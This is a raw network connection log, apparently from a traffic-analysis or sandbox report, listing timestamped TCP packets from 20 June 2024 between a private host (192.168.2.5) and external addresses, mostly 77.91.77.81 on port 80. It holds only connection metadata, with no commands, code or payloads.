Jun 20, 2024 15:38:18.524769068 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.525167942 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.525201082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.525235891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.525268078 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.525300026 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.525300026 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.525302887 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.525362968 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.525362968 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.525751114 CEST	49719	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:18.525837898 CEST	443	49719	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:18.525975943 CEST	49719	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:18.525998116 CEST	443	49719	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:18.552612066 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552635908 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552654028 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552731991 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.552731991 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.552782059 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552798033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552814007 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552839994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552855968 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552862883 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.552862883 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.552871943 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552889109 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552903891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552918911 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552931070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.552931070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.552936077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552953959 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.552958012 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.552958012 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.553003073 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.553003073 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.553539991 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.553555012 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.553570986 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.553585052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.553601027 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.553617001 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.553632021 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.553646088 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.553646088 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.553646088 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.553647041 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.553664923 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.553680897 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.553723097 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.553723097 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.553723097 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.554958105 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.554972887 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.554999113 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555013895 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555020094 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.555032015 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555047989 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555053949 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.555066109 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555120945 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.555120945 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.555120945 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.555160999 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555176973 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555192947 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555207968 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555224895 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555267096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.555267096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.555267096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.555277109 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555291891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555305004 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555320978 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555336952 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555350065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.555350065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.555354118 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.555368900 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.555389881 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556201935 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556216955 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556232929 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556313992 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556329012 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556343079 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556360006 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556369066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556369066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556369066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556413889 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556413889 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556425095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556440115 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556454897 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556469917 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556495905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556502104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556502104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556502104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556514025 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.556530952 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556530952 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556643009 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.556643009 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.583386898 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.583425999 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.583462000 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.583497047 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.583518982 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.583518982 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.583518982 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.583532095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.583569050 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.583605051 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.583616972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.583616972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.583616972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.583658934 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.583760977 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.583864927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.609940052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610018969 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610073090 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610080957 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610097885 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610126019 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610161066 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610188961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610188961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610197067 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610212088 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610233068 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610251904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610268116 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610299110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610323906 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610356092 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610358000 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610379934 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610397100 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610450029 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610460043 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610460043 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610502958 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610534906 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610569000 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610569954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610604048 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610620022 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610642910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610677004 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610711098 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610722065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610733986 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610769033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610801935 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610821962 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610853910 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610857964 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610893011 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.610924006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610924006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.610948086 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611001968 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611036062 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611068964 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611102104 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611114979 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611114979 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611114979 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611135960 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611169100 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611202002 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611212015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611212015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611212015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611237049 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611270905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611283064 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611283064 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611304998 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611341953 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611375093 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611413956 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611422062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611422062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611422062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611447096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611481905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611517906 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611527920 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611527920 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611556053 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611572981 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611589909 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611624002 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611658096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611669064 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611669064 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611695051 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611730099 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611763954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611777067 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611777067 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.611799955 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.611923933 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.612040043 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.638952017 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639065027 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639189005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639250994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639277935 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639307022 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639312983 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639343977 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639378071 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639411926 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639425039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639425039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639425039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639456034 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639481068 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639491081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639525890 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639558077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639570951 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639570951 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639570951 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639592886 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639617920 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639626026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639662981 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639695883 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639713049 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639713049 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639713049 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639734030 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639766932 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639801979 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639802933 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639836073 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639848948 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639848948 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639848948 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639873981 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.639899015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.639974117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640197039 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640230894 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640264034 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640279055 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640279055 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640302896 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640347958 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640347958 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640355110 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640409946 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640444040 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640475988 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640513897 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640513897 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640513897 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640528917 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640533924 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640669107 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640701056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640733957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640747070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640747070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640788078 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640820980 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640857935 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640857935 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640857935 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640876055 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640908957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640944958 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.640970945 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640970945 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.640978098 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641007900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641022921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641030073 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641030073 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641041040 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641061068 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641134024 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641146898 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641163111 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641177893 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641201973 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641217947 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641232014 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641247034 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641282082 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641292095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641309023 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641325951 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641341925 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641370058 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641370058 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641370058 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641397953 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641413927 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641428947 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641438961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641438961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641446114 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641479015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641479015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641498089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641649008 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641665936 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641681910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641695976 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.641727924 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.641794920 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.667768002 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.667808056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.667861938 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.667874098 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.667874098 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.667896986 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.667952061 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.667973995 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.667973995 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.667989016 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.668023109 CEST	80	49718	77.91.77.81	192.168.2.5
